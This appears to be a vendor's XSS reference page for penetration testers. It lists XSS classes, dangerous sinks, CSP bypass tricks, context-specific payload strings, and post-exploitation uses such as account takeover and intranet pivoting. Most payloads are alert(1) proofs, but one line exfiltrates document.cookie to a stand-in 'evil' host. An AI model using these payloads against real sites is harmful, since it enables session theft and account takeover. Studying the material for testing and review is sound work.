New The 2026 Continuous Validation Methodology Paper is now available. Read the paper →

XSS — Comprehensive Reference.

The full XSS landscape: reflected, stored, DOM, mutation. Sink-versus-source structuring, CSP/WAF bypass, hook-and-control patterns, and the conditions under which payloads become worm-like.

Classes

  • Reflected. Payload in request, reflected in same response. Usually URL parameter or form POST.
  • Stored. Payload submitted once, served to many. Comments, profile fields, admin notes, log viewers.
  • DOM-based. Payload never reaches server; client-side JS reads from location.hash, postMessage, or document.referrer and writes to a dangerous sink.
  • Mutation (mXSS). Innocuous markup mutates into malicious markup when re-parsed (e.g., <img src=x> set via innerHTML, then serialized and re-parsed → namespace confusion).

Sink-side review checklist

  • innerHTML / outerHTML / insertAdjacentHTML. Grep target. Anywhere user input flows here is suspicious by default.
  • document.write / document.writeln. Modern code shouldn't use these. Where you find them, suspect XSS.
  • jQuery .html(), .append(), .prepend(). Same as innerHTML semantically.
  • React dangerouslySetInnerHTML. Self-naming sink. Always escalate.
  • Vue v-html / Svelte {@html} / Angular [innerHTML]. Same shape, same risk.
  • Attribute sinks. setAttribute('href', x) with javascript: URL; setAttribute('on*', ...) binding event handlers.
  • eval, Function, setTimeout/setInterval(string). Anywhere strings are executed.
  • Template-string in render path. Server-side template injection often comes in here.

CSP bypass patterns

  • JSONP endpoints in allowed origin. script-src 'self' + a self-hosted JSONP endpoint = trivially callable as <script src=/jsonp?callback=alert(1)//>.
  • Angular template injection. CSP allows the framework's bundle; attacker injects Angular template syntax that the framework evaluates.
  • Dangling markup. Unclosed attribute steals subsequent HTML up to next quote — exfiltrates secrets even when scripts are blocked.
  • Base tag injection. Inject <base href=//attacker> → relative-URL scripts resolve to attacker origin.
  • Strict-dynamic with nonce reflection. Reflected nonce in the response = attacker-controlled nonced script tag.

Payload encoding quick reference

  • HTML context. <svg/onload=alert(1)> compact, no quotes needed.
  • HTML attribute (single-quoted). ' onmouseover='alert(1).
  • HTML attribute (unquoted). x onfocus=alert(1) autofocus.
  • JavaScript string context. '-alert(1)-' breaks out of single-quoted string.
  • JSON in script context. </script><img src=x onerror=alert(1)> breaks out of the script block.
  • Strict CSP, no scripts. <img src=x onerror=fetch('//evil/?'+document.cookie)> blocked. <iframe src='data:text/html,<script>... often blocked. Look for dangling markup.

Post-XSS use cases

  • Account takeover. Read session token from document.cookie (if no HttpOnly) or trigger a session-bound action via fetch.
  • Internal recon. XSS as SSRF — make fetch() calls to internal URLs from the victim's authenticated session.
  • Persistent foothold. Stored XSS in admin-facing surface → triggers when admin opens the report → admin-level privileged action under attacker control.
  • Browser-as-pivot. XSS into a corporate intranet app from external referrer → fetch internal-only resources via the browser's authenticated session.
Rule of thumbAlways prove the XSS in two places: once with a non-destructive payload (alert(document.domain) in screenshot) and once with a recipe the developer can execute against their own staging. Two proofs = no disputes about whether it was real.

From reference to evidence

Run this against your own environment.